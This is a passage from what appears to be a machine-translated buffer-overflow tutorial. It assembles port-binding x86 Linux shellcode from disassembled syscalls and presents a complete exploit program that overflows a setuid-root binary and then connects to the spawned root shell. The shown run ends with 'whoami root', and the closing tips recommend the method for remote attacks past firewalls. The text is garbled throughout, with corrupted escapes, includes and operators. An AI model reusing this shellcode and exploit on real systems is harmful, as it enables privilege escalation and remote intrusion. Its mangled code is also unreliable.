Software Foundation, Inc. GDB IS Free Software, Covered by the gnu general public license, and you are Welcome to change IT and / or or distribute copies of it under certain conditions. Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details. THIS GDB WAS Configured AS "i386-redhat-linux" ... (GDB) Disassemble fork Dump of askembler code for function fork: 0x804ca90  0x804ca95  0x804ca97  0x804ca9c  0x804caa2  0x804caa3  0x804caa4  0x804caa5  0x804caa6  0x804caa7  0x804caa8  0x804caa9  0x804caaa  0x804caab  0x804caac  0x804caad  0x804caaa  0x804caaf  End of assembler dump. (GDB) Disassemble SocketDump of askEMBLER CODE for Function Socket: 0x804cda0  0x804cda2  0x804cda7  0x804cdac  0x804cdb0  0x804CDB2  0x804cdb4  0x804cdb7  0x804cdbd  0x804cdbe  0x804cdbf  End of assembler dump. (GDB) Disassemble Bind Dump of assembler code for function bind: 0x804cd60  0x804cd62  0x804cd67  0x804cd6c  0x804cd70  0x804cd72  0x804cd74  0x804cd77  0x804cd7d  0x804cd7e  0x804cd7f  End of assembler dump. (GDB) Disassemble Listen Dump of assembler code for function listen: 0x804cd80  0x804cd82  0x804cd87  0x804cd8c  0x804cd90  0x804cd92  0x804cd94  0x804cd97  0x804cd9d  0x804cd9e  End of assembler dump. (GDB) Disassemble Accept Dump of assembler code for function __accept: 0x804cd40 <__ accept>: MOVL% EBX,% EDX 0x804cd42 <__ accept   2>: MOVL $ 0x66,% EAX 0x804cd47 <__ accept   7>: MOVL $ 0x5,% EBX 0x804CD4C <__ accept   12>: Leal 0x4 (% ESP, 1),% ECX 0x804cd50 <__ accept   16>: INT $ 0x80 0x804cd52 <__ accept   18>: MOVL% EDX,% EBX 0x804cd54 <__ accept   20>: CMPL $ 0xfffffff83,% EAX 0x804cd57 <__ accept   23>: jae 0x804cdc0 <__ syscall_error> 0x804cd5d <__ accept   29>: RET 0x804cd5e <__ accept   30>: NOP 0x804cd5f <__ accept   31>: NOP End of assembler dump. (GDB) Disassemble DUP2 Dump of askEMBLER CODE for Function DUP2: 0x804cbe0  0x804cbe2  0x804cbe6  0x804cBea  0x804cbef  0x804cbf1  0x804cbf3  0x804cbf8  0x804cbfe  0x804cbff  End of assembler dump. (GDB) -------------------------------------------------- ---------------------------- Fork (); code -------------------------------------------------- ---------------------------- Char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Socket (2, 1, 6); CODE -------------------------------------------------- ------------------------- / *% ECX is a pointer to all parameters. * / Char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / / * The first parameter. * / / * In the use of the instruction, the% ESI has released the storage space. * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / / * The second parameter. * / "/ xb0 / x06" / * MOVB $ 0x6,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * The third parameter. * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0x1,% BL * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Bind (SOC, STRUCKADDR *) & serv_addr, 0x10); CODE -------------------------------------------------- ---------------------------- / *% ECX is a pointer to all parameters. * / Char code [] = "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / / * Before using this command,% EAX gets the value of the SOC. * / / * The first parameter. * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * movW% AX, 0xc (% ESI) * / / * serv_addr.sin_family = 2 * / / * 2 is stored in 0xc (% ESI). * / "/ XB0 / X77" / * MOVB $ 0x77,% Al * / "/ x66 / x89 / x46 / x0e" / * movw% AX, 0xE (% ESI) * / / * The stored port number is in 0xe (% ESI). * / "/ X8D / X46 / X0C" / * LEAL 0XC (% ESI),% EAX * / / *% EAX = serv_addr address * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / / * The second parameter. * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * / / * serv_addr.sin_addr.s_addr = 0 * / / * 0 is stored in 0x10 (% ESI). * / "/ XB0 / X10" / * MOVB $ 0x10,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * // * The third parameter. * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X02" / * MOVB $ 0x2,% BL * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Listen (SoC, 1); CODE -------------------------------------------------- ---------------------------- / *% ECX is a pointer to all parameters. * / Char code [] = "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / / * Before using this command,% EAX gets the value of the SOC. * / / * The first parameter. * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / / * The second parameter. * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X04" / * MOVB $ 0X4,% BL * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Accept (SOC, 0, 0); Code -------------------------------------------------- ---------------------------- / *% ECX is a pointer to all parameters. * / Char code [] = "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ x89 / xf1" / * movl% EAX, (% ESI) * / / * Before using this command,% EAX gets the value of the SOC. * / / * The first parameter. * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / / * The second parameter. * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * The third parameter. * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- DUP2 (CLI, 0); CODE -------------------------------------------------- ---------------------------- / * The first parameter is% EBX, the second parameter is% ECX * / Char code [] = / * Before using this command,% EAX acquires the value of the CLI. * / "/ x88 / xc3" / * MOVB% Al,% BL * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ XCD / X80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- 6.3 Modify conventional shellcode You need to spend a peak to fuse the code above to a piece. New shellcode -------------------------------------------------- ---------------------------- Char shellcode [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ x85 / xc0" / * testl% EAX,% EAX * / "/ x75 / x43" / * jne 0x43 * / / * for ()! = 0 case * / / * It will call EXIT (0) * / / * The result of this is that it will jump twice, because EXIT (0) is positioned too far * / "/ Xeb / X43" / * JMP 0x43 * / / * for () == 0 case * / / * It will call -0xa5 * / / * Similarly, it also wants JUMP twice, because -0xa5 is also positioned far. * / "/ x5e" / * popl% ESI * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ xb0 / x06" / * MOVB $ 0x6,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0x1,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * movW% AX, 0xc (% ESI) * / "/ XB0 / X77" / * MOVB $ 0x77,% Al * / "/ x66 / x89 / x46 / x0e" / * movw% AX, 0xE (% ESI) * / "/ X8D / X46 / X0C" / * LEAL 0XC (% ESI),% EAX * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * / "/ XB0 / X10" / * MOVB $ 0x10,% Al * / "/ x89 / x46 / x08" / * MOVL% EAX, 0x8 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X02" / * MOVB $ 0x2,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ Xeb / X04" / * JMP 0x4 * / "/ Xeb / X55" / * JMP 0x55 * / "/ Xeb / X5B" / * JMP 0x5b * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X04" / * MOVB $ 0X4,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x88 / xc3" / * MOVB% Al,% BL * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ xcd / x80" / * int $ 0x80 * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ XB1 / X01" / * MOVB $ 0x1,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ Xb1 / X02" / * MOVB $ 0x2,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ xb8 / x2f / x62 / x69 / x6e" / * movl $ 0x6e69622f,% EAX * / / *% EAX = "/ bin" * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ xb8 / x2f / x73 / x68 / x2f" / * MOVL $ 0x2f68732f,% eax * / / *% EAX = "/ sh /" * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% Al, 0x7 (% ESI) * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ XCD / X80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / X5B / XFF / XFF / XFF"; / * CALL-0XA5 * / -------------------------------------------------- ---------------------------- 6.4 Attack Procedure With this shellcode, we can easily write code. Of course, you have to write a connection socket. (socket) code. Exploit4.c -------------------------------------------------- ---------------------------- #include  #include  #include  #include  #include  #define align 0 #define offset 0 #define ret_position 1024 #define Range 20 #define nop 0x90 Char shellcode [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ x85 / xc0" / * testl% EAX,% EAX * / "/ x75 / x43" / * jne 0x43 * / "/ Xeb / X43" / * JMP 0x43 * / "/ x5e" / * popl% ESI * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ xb0 / x06" / * MOVB $ 0x6,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0x1,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * movW% AX, 0xc (% ESI) * / "/ XB0 / X77" / * MOVB $ 0x77,% Al * / "/ x66 / x89 / x46 / x0e" / * movw% AX, 0xE (% ESI) * / "/ x8d / x46 / x0c" / * LEAL 0XC (% ESI),% EAX * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * / "/ XB0 / X10" / * MOVB $ 0x10,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X02" / * MOVB $ 0x2,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ Xeb / X04" / * JMP 0x4 * / "/ Xeb / X55" / * JMP 0x55 * / "/ Xeb / X5B" / * JMP 0x5b * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X04" / * MOVB $ 0X4,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x88 / xc3" / * MOVB% Al,% BL * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ xcd / x80" / * int $ 0x80 * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ XB1 / X01" / * MOVB $ 0x1,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ Xb1 / X02" / * MOVB $ 0x2,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ xb8 / x2f / x62 / x69 / x6e" / * movl $ 0x6e69622f,% EAX * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ xb8 / x2f / x73 / x68 / x2f" / * MOVL $ 0x2f68732f,% eax * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% Al, 0x7 (% ESI) * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% esi) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / X5B / XFF / XFF / XFF"; / * CALL-0XA5 * / Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Long getip (char * name) { Struct hostent * hp; Long IP; IF ((ip = INET_ADDR (Name)) == - 1) { IF ((hp = gethostbyname (name)) == NULL) { FPRINTF (stderr, "can't resolve host./n); exit (0); } Memcpy (& IP, (hp-> h_addr), 4); } Return IP; } INT EXEC_SH (Int Sockfd) { Char SND [4096], RCV [4096]; FD_SET RSET; While (1) { FD_ZERO (& RSET); FD_SET (Fileno (stdin), & rset; FD_SET (SOCKFD, & RSET); SELECT (255, & RSET, NULL, NULL, NULL); IF (FD_Isset (Fileno (stdin), & rset) { MEMSET (SND, 0, SIZEOF (SND)); FGETS (SND, SIZEOF (SND), STDIN; Write (SOCKFD, SND, STRLEN (SND)); } IF (fd_isset (sockfd, & rset)) { MEMSET (RCV, 0, SIZEOF (RCV)); IF (read (Sockfd, RCV, SizeOf (RCV)) <= 0) exit (0); FPUTS (RCV, STDOUT); } } } INT Connect_sh (long IP) { Int sockfd, i; Struct SockAddr_in sin; Printf ("Connect to the shell / n"); Fflush (stdout); MEMSET (& SIN, 0, SIZEOF (SIN)); sin.sin_family = af_INet; sin.sin_port = HTONS (30464); sin.sin_addr.s_addr = IP; IF ((Sockfd = Socket (AF_INET, SOCK_STREAM, 0)) <0) { Printf ("can't create socket / n"); exit (0); } IF (Connect (Sockfd, (Struct Sockaddr *) & Sin, SIZEOF (SIN)) <0) { Printf ("Can't Connect To The Shell / N); exit (0); } Return sockfd; } Void main (int Argc, char ** argv) { Char buff [RET_POSITION   RANGE   Align   1], * PTR; Long addr; UNSIGNED Long SP; INT offset = offset, bsize = RET_POSITION   RANGE   Align   1; INT I; Int sockfd; IF (Argc> 1) OFFSET = ATOI (Argv [1]); sp = get_sp (); Addr = sp-offset; For (i = 0; i  { BUFF [I   Align] = (AddR & 0x000000FF); BUF [I   Align   1] = (AddR & 0x0000FF00) >> 8; BUF [I   Align   2] = (AddR & 0x00FF0000) >> 16; BUF [i   align   3] = (addr & 0xff000000) >> 24; } For (i = 0; i  BUFF [I] = NOP; PTR = BUFF   BSIZE-RANGE * 2-STRLEN (Shellcode) -1; For (i = 0; i  * (PTR   ) = shellcode [i]; BUFF [BSIZE-1] = '/ 0'; Printf ("Jump to 0x% 08x / N", ADDR); IF (fork () == 0) { Execl ("./ Vulnerable4", "Vulnerable4", BUFF, 0); exit (0); } Sleep (5); Sockfd = connect_sh (Getip ("127.0.0.1"); EXEC_SH (SOCKFD); } -------------------------------------------------- ---------------------------- operation result -------------------------------------------------- ---------------------------- [user @ hosts ~] {1} $ ls -l vulnerable4 -RWSR-XR-x 1 root root 4091 Oct 18 20:21 Vulnerable4 * [User @ hosts ~] {2} $ ls -l expedition4 -RWXR-XR-X 1 Ohhara Cse 7973 OCT 18 20:25 Exploit4 * [user @ hosts ~] {3} $ ./exploit4 Jump to 0xBFFEC64 Connect to the shell Can't Connect to the shell [user @ hosts ~] {4} $ ./exploit4 500 Jump to 0xBFFFEA70 Connect to the shellwhoami root -------------------------------------------------- ---------------------------- 6.5 Tips This technique can be used to write a variety of remote attack code. If the attacked host is behind the firewall, you can Open a socket in a unfiltered port. This attacks an RPC service in your use of buffers. It is very effective. 7. Summary This article describes four attack techniques for buffering overflow. They are: bypass the filter limit, change the UID 0, breakthrough Chroot, and establish a socket connection. These techniques are very helpful when writing buffering attacks. In addition Some techniques can also be combined. All programmers are developing the setuid root program and the service program It should be particularly careful !!!!!!!!! 8. References Smashing the stack for fat and profit by aleph1 Wu-ftpd remote exploit code by duke AdmMountd Remote Exploit Code by ADM

